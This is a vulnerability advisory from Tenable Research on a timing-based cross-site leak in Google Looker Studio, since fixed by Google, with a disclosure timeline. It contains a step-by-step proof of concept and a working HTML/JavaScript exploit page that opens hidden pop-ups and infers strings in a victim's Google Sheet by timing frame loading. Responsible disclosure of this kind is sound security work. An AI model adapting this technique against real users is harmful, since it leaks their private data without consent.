Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Google Cloud Platform (GCP) Cross-Site Leak on Data Sources in Looker Studio

Low

Synopsis

Tenable Research has identified and responsibly disclosed a vulnerability in Google's Looker Studio. This vulnerability allowed an attacker to infer sensitive data from a victim's data source by measuring the timing of data loading and abusing a frame-counting oracle.

This vulnerability exploited a side-channel attack using two key mechanisms. First, an attacker could create a calculated field in their report that, when a specific string was present in the victim's data, would intentionally delay the data-loading process by performing a resource-intensive operation (e.g., concatenating a large number of characters). Second, the attacker could leveraged a frame-counting oracle, which involved continuously counting the number of iframes on the page until a new one—the feedback iframe—was added, indicating that the data had finished loading.

By comparing the loading time of a "control" page (without the malicious calculated field) to a "test" page (with the field), the attacker could precisely measure the timing difference. If the test page's loading time was significantly longer, it indicated that the calculated field's condition was met, and the specific string being tested for was present in the victim's data. This method allowed for a 1-click, character-by-character exfiltration of sensitive information from any data source, such as a Google Sheet, to which the victim had access.
 

Proof of Concept:

Set up a mock data source for the attacker’s getColumns HTTP request:

  1. Create a Google Sheet spreadsheet, for the example, we will name it “Attacker’s spreadsheet”
  2. Populate all columns from A-Z with random data

 

Set up the attacker’s report:

  1. Create a report
  2. Choose a connector, for example, Google Sheets
  3. Choose the specific data source we just created, “Attacker’s spreadsheet”
  4. Remove the check from the checkbox “Use first row as headers” so you can reference columns by A-Z

Screenshot showing the report setup

  1. Proxy the HTTP requests, and forward the requests, including the getColumns request 
  2. Intercept the createBlockDatasource and publishDatasource HTTP requests, and change the id of the sheet from the attacker’s to the victim’s sheet
  3. Click Resource → Manage added data sources → edit the added Google Sheet data source, and change the credentials to Viewer Credentials

Screenshot showing how to set "Viewer's Credentials"

  1. Add a chart to the report, preferably a table, by pressing “Add a chart” and choosing a Table
  2. Choose the victim’s data source to be attached to the table chart, the end result should be “No Data Set Access”
  3. Add a calculated field by pressing the table → “Add dimension” → “Add calculated field” and paste the formula attached to this report. Paste ~170k “A” characters instead of the placeholder. Change the IF clause accordingly with the text you want to know if it exists in the victim’s sheet as a POC.
  4. Add an additional page by pressing “Add a page.”
  5. Add another table of the same victim’s sheet data source in that additional page. This table will act as a comparison test for the time the data source should approximately take to load without the formula in place
  6. Share the report with the victim, and uncheck the “Notify” checkbox
  7. Make the report embeddable by clicking File → Embed report → check “Enable Embedding” and press Done
  8. Host a website and use the following exploit code to attack a victim:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Liv's POC</title>
  <style>
    button {
      padding: 10px;
      font-size: 16px;
      margin-top: 20px;
    }
    #result {
      margin-top: 20px;
      font-size: 18px;
      white-space: pre-wrap;
    }
  </style>
</head>
<body>
  <button id="measureButton">Run Stealthy Frame Monitor</button>
  <div id="result"></div>
  <script>
    const TARGET_LENGTH = 5;
    function monitorWindow(winRef, label, targetLength) {
      return new Promise((resolve) => {
        const start = performance.now();
        const interval = setInterval(() => {
          try {
            const currentLen = winRef.frames.length;
            if (currentLen >= targetLength) {
              const elapsed = performance.now() - start;
              clearInterval(interval);
              console.log(`${label} reached ${targetLength} frames in ${elapsed.toFixed(1)} ms`);
              document.getElementById('result').innerText += `${label} reached ${targetLength} frames in ${elapsed.toFixed(1)} ms\n`;
              winRef.close();
              resolve(elapsed);
            }
          } catch (e) {}
          if (winRef.closed) {
            clearInterval(interval);
            resolve(null);
          }
        }, 50);
      });
    }
    document.getElementById("measureButton").addEventListener("click", async () => {
      const urlA = "Looker Studio Overview <attackers-report-id>/page/<second-page-id>";
      const urlB = "Looker Studio Overview <attackers-report-id>/page/<first-page-id>";
      const features = "width=1,height=1,left=9999,top=9999";
      const winA = window.open(urlA, "_blank", features);
      const winB = window.open(urlB, "_blank", features);
      if (!winA || winA.closed || !winB || winB.closed) {
        alert("Please allow pop-ups for this test.");
        return;
      }
      winA.blur();
      winB.blur();
      window.focus();
      const [timeA, timeB] = await Promise.all([
        monitorWindow(winA, "Page A", TARGET_LENGTH),
        monitorWindow(winB, "Page B", TARGET_LENGTH)
      ]);
      if (timeA != null && timeB != null) {
        const diff = timeB - timeA;
        const resultDiv = document.getElementById('result');
        resultDiv.innerText += `\nTime difference (B - A): ${diff.toFixed(1)} ms\n`;
        if (diff > 500) {
          resultDiv.innerText += `😈 The sheet contains the string "lmatan".\n`;
        }
      }
    });
  </script>
</body>
</html>
  1. Visit the attacker’s site as the victim, and the data will be exfiltrated.

Solution

Google has remediated the issue.

Disclosure Timeline

June 3, 2025 - Tenable reports the finding to Google, Google acknowledges
June 10, 2025 - Google assigns severity S2
July 2, 2025 - Tenable asks for updates on this issue
July 15, 2025 - Tenable asks for updates
July 17, 2025 - Google updates that the product team is working to resolve the issue
July 22, 2025 - Google awards a bounty
July 28, 2025 - Google updates that the bug is fixed but not yet verified
July 31, 2025 - Tenable agrees to delay the disclosure date
August 11, 2025 - Google updates that a fix has been pushed to production, but they have not yet verified it.
August 13, 2025 - Google confirms that the bug has been fixed
August 25, 2025 - Google confirms the fix has been verified
August 28, 2025 - Google asks to see the TRA draft and Tenable shares it with them
August 28, 2025 - Tenable delays the publication due to holidays to September 3rd

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-31
Credit:
Liv Matan
Affected Products:
GCP Looker Studio
Risk Factor:
Low

Advisory Timeline

September 3, 2025 - Initial release.